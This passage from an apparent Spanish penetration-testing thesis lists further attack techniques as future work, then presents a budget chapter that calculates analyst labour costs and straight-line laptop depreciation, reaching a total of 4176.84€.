NoSQL injections or race conditions, among others. We would expand the number of
known techniques to perform an appropriate privilege escalation such as kernel exploits,
use of additional protocols such as NFS, or other tasks performed in the post-exploitation
phase such as the use of pivoting, or techniques that allow us to maintain access to the
compromised machine over time, to name a few.
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Capitulo 8 Presupuesto

Para poder elaborar un presupuesto con exactitud, debemos primero conocer cual
es el coste promedio por hora de un analista de seguridad junior en Espafia. Aunque esto
varia de una region a otra, en promedio gira en torno a los 25.000€ anuales[95], lo que
supone

unos 13.02€ aproximadamente por hora. Si le agregamos el hecho de que
desarrollar el presente trabajo ha conllevado 300 horas, el presupuesto del proyecto
asciende a 3906€ que se puede ver reflejado en la tabla 1.

También hay que recalcar que el presente trabajo unicamente ha empleado el uso
de herramientas gratuitas en su desarrollo, por ende, el unico requisito fue contar con un
equipo informatico capaz de ejecutar las herramientas nombradas en los puntos
anteriores del proyecto. Debido a la necesidad de disponer de maquinas virtuales con
diferentes sistemas operativos y diferentes configuraciones, en nuestro caso usamos dos
equipos. Asumiendo un coste de 2000€ aproximadamente.

Tomando como referencia que el tiempo de vida fiscal de un equipo informatico en
Espafa es de 4 anos, si usamos el método de amortizacibn mas comunmente utilizado,
que es el método lineal[104], podemos calcular cual es el precio que tenemos que incluir
en el presupuesto de la siguiente forma:

Cuota mensual de amortizaciéon = (Coste del portatil - Coste Residual) / Vida Util (Meses)

El coste de cada portétil es su coste total a la hora de comprarlo (2000€), mientras
que el coste residual es el valor remanente al final de su vida util, que equivale al precio
que esperariamos obtener por su venta en el momento actual (en general seria el 35% del
valor original, unos 700€); la vida util del portatil es el tiempo esperado de uso del equipo,
que en este caso serian 4 afos. Como la ejecucién del proyecto ha durado unos 5 meses,
el coste imputable a cada equipo es de 135.42€.

Precio/ hora | N°de horas | Coste equipos Precio total del proyecto

13.02€ 300 270.84€ 4176.84€

Tabla 1: Desglose del presupuesto del proyecto
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